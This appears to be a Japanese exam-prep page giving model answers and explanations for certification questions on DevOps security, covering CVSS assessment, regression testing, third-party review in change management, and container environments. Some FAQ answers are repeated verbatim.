A: 構成管理ツールやコンテナのイメージファイルを活用し、自動的にバージョンを抽出・記録する仕組みを組み込むと運用負荷が抑えられます。
Q: 取得した脆弱性情報はどの部署が評価すべきですか?
A: 【問題文】の「社内できを実施」に該当するチーム(セキュリティ推進や運用チーム)が、影響度と対応策を検討します。
A: 【問題文】の「社内できを実施」に該当するチーム(セキュリティ推進や運用チーム)が、影響度と対応策を検討します。
関連キーワード: 資産管理、脆弱性情報、バージョン管理、パッチ適用
設問3:〔DevOpsにおけるセキュリティ向上策〕について、(1)〜(4)に答えよ。
(3)本文中のき、くに入れる適切な字句を解答群の中から選び、記号で答えよ。
解答群
ア:CVSSによる脆弱性アセスメント
イ:TTX
ウ:回帰テスト
エ:ストレステスト
オ:パッチの作成
模範解答
き:ア
く:ウ
解説
解答の論理構成
-
報告された脆弱性に対して“深刻度を把握し、対応優先度を決める”作業が必要
- 【問題文】「脆弱性情報が報告された際、社内できを実施する。」
- 深刻度評価の代表的な国際標準が“CVSS(Common Vulnerability Scoring System)”。
- 解答群「ア:CVSSによる脆弱性アセスメント」は、そのまま“CVSSを用いた評価”を指す。
▶ よって [き] = 「ア:CVSSによる脆弱性アセスメント」。
-
パッチ適用後に“既存機能への影響有無”を確認する試験が必要
- 【問題文】「検証環境でパッチを適用しくを行った上で、問題がなければ、本番環境にパッチを適用する。」
- 新しい修正が旧来機能を壊していないかを確認する試験=回帰テスト。
- 解答群「ウ:回帰テスト」がこれに該当。
▶ よって [く] = 「ウ:回帰テスト」。
誤りやすいポイント
- 「TTX」を“脆弱性評価”と誤認する
Table-Top Exercise はインシデント対応訓練であり、深刻度算定とは無関係です。 - 「ストレステスト」を“パッチ後の確認”と選択する
ストレステストは高負荷時の性能検証で、機能改修の副作用チェックが目的の“回帰テスト”とは異なります。 - 「パッチの作成」を“社内で行う手順”と解釈する
今回の流れは“入手したパッチを適用”する前提で、自社開発までは想定していません。
FAQ
Q: CVSSによる評価は誰が行うのが望ましいですか?
A: セキュリティ担当が中心ですが、運用チームも参加して“業務影響”を加味した判断を行うのが実務的です。
A: セキュリティ担当が中心ですが、運用チームも参加して“業務影響”を加味した判断を行うのが実務的です。
Q: 回帰テストは自動化すべきでしょうか?
A: 継続的リリースを行う DevOps では自動化が推奨されます。CI/CD パイプラインに組み込むと迅速に本番反映できます。
A: 継続的リリースを行う DevOps では自動化が推奨されます。CI/CD パイプラインに組み込むと迅速に本番反映できます。
Q: CVSSスコアだけで対応/非対応を決めても良いですか?
A: スコアは目安です。公開範囲・資産価値・外部公開有無など“環境依存要素”も含めて総合判断してください。
A: スコアは目安です。公開範囲・資産価値・外部公開有無など“環境依存要素”も含めて総合判断してください。
関連キーワード: CVSS, 脆弱性評価、パッチ管理、回帰テスト、DevOps
設問3:〔DevOpsにおけるセキュリティ向上策〕について、(1)〜(4)に答えよ。
(4)図6中のけ、こに入れる適切な字句をそれぞれ5字以内で答えよ。
模範解答
け:レビュー
こ:第三者
解説
解答の論理構成
- 【問題文】図6の手順3には
「計画及び作業手順書を こ が け しリーダが承認する。」
と記載されています。 - システム変更管理の慣例では、変更を実施する担当者とは別の人物が内容を確認し、品質や安全性を担保します。この工程は “レビュー” と呼ばれ、客観性を確保するために “第三者” が行うのが一般的です。
- したがって、
・け には確認行為を示す「レビュー」
・こ には確認者の立場を示す「第三者」
を当てはめると、プロセスの流れが自然になります。
結果
け:レビュー
こ:第三者
け:レビュー
こ:第三者
誤りやすいポイント
- け に「承認」を入れてしまう
→ 承認は直後の「リーダが承認する」で既に実行者が明示されているため重複します。 - こ に「担当者」や「作成者」を入れる
→ 自己チェックでは客観性が担保できず、変更管理の原則に反します。 - 「レビュー」と「監査」を混同する
→ 監査は定期的・体系的な評価、レビューは直近の成果物確認を指し目的が異なります。
FAQ
Q: レビューと承認を同じ人物が行っても問題ありませんか?
A: いいえ。レビューは内容の妥当性確認、承認は最終決裁という役割分担があり、独立性を保つことでミスの見逃しを防ぎます。
A: いいえ。レビューは内容の妥当性確認、承認は最終決裁という役割分担があり、独立性を保つことでミスの見逃しを防ぎます。
Q: 第三者とは具体的に誰を指しますか?
A: プロジェクトメンバー以外の部門員や同部門の別担当者など、変更作業に直接関与しない客観的立場の人を指します。
A: プロジェクトメンバー以外の部門員や同部門の別担当者など、変更作業に直接関与しない客観的立場の人を指します。
Q: レビューを効率化する方法はありますか?
A: チェックリスト化やツールによる差分検出の自動化を導入すると、短時間で漏れなく確認できます。
A: チェックリスト化やツールによる差分検出の自動化を導入すると、短時間で漏れなく確認できます。
関連キーワード: 変更管理、レビュー、承認プロセス、第三者チェック、品質保証
設問4:
本文中のc〜hに入れる適切な字句を解答群の中から選び、記号で答えよ。
解答群
ア:アプリ
イ:開発
ウ:検証
エ:コンテナ
オ:コンテナエンジン
キ:本番
カ:変更の履歴
ク:ミドルウェア
ケ:ライブラリ
コ:レジストリ
模範解答
c:オ
d:ア
e:エ
f:カ
g:キ
h:ウ
解説
解答の論理構成
-
【問題文】
サーバでcを一つ稼働させておけば、cの上で、dごとに別のeを稼働させることが可能です。- “サーバで一つ稼働させる”ものは、コンテナを動かすための基盤ソフトです。
- Docker などでいう “コンテナエンジン” がそれに当たるため、 ➔ c=「オ:コンテナエンジン」。
-
同行の後半
…dごとに別のeを稼働…- “ごとに”という表現はアプリケーション単位で分ける説明に合致。
- e に入る語は “コンテナ”で、d はそれを内包する “アプリ” が自然。
➔ d=「ア:アプリ」、e=「エ:コンテナ」。
-
【問題文】
構成情報については、fを確認することができ…- 構成情報をバージョン管理すると、いつ・誰が・何を変更したかが追跡できます。
- これは “変更の履歴” を確認できるという意味なので、 ➔ f=「カ:変更の履歴」。
-
【問題文】
…g環境と同じ実行環境を用意して、dが動作するかを確認…- リリース前に本番と同一構成で動作確認する場面。
➔ g=「キ:本番」。
図5で提案したh環境も用意できます。- 図5の提案では “検証環境” の整備が課題と書かれている。
➔ h=「ウ:検証」。
- リリース前に本番と同一構成で動作確認する場面。
誤りやすいポイント
- c を「エ:コンテナ」と誤読し、基盤と実行単位を取り違える。
- d/e を逆に配置し「アプリが複製される」と誤答するケース。
- 図5の記述を見落とし、h に「開発」など無関係な語を選択する。
- 「履歴」と「差分」を混同し、f に“差分”や“バックアップ”を入れてしまう。
FAQ
Q: コンテナエンジンとは具体的に何を指しますか?
A: Docker Engine や containerd など、コンテナを作成・実行・停止するためのランタイムを指します。【問題文】ではサーバに一つ入れておくだけで複数コンテナを動かせる役割が説明されています。
A: Docker Engine や containerd など、コンテナを作成・実行・停止するためのランタイムを指します。【問題文】ではサーバに一つ入れておくだけで複数コンテナを動かせる役割が説明されています。
Q: “変更の履歴” を確認できる利点は?
A: いつ・誰が・どの設定を変更したかを追跡できるため、インシデント発生時の原因究明が容易になり、設定ミスの早期発見につながります。
A: いつ・誰が・どの設定を変更したかを追跡できるため、インシデント発生時の原因究明が容易になり、設定ミスの早期発見につながります。
Q: 本番環境と検証環境を同一にする理由は?
A: 実行環境が同一であれば、検証で再現しない“本番特有の不具合”を減らせるからです。コンテナを使うとイメージをそのまま複製できるため再現性が高まります。
A: 実行環境が同一であれば、検証で再現しない“本番特有の不具合”を減らせるからです。コンテナを使うとイメージをそのまま複製できるため再現性が高まります。
関連キーワード: コンテナエンジン、コンテナ、バージョン管理、検証環境、本番環境


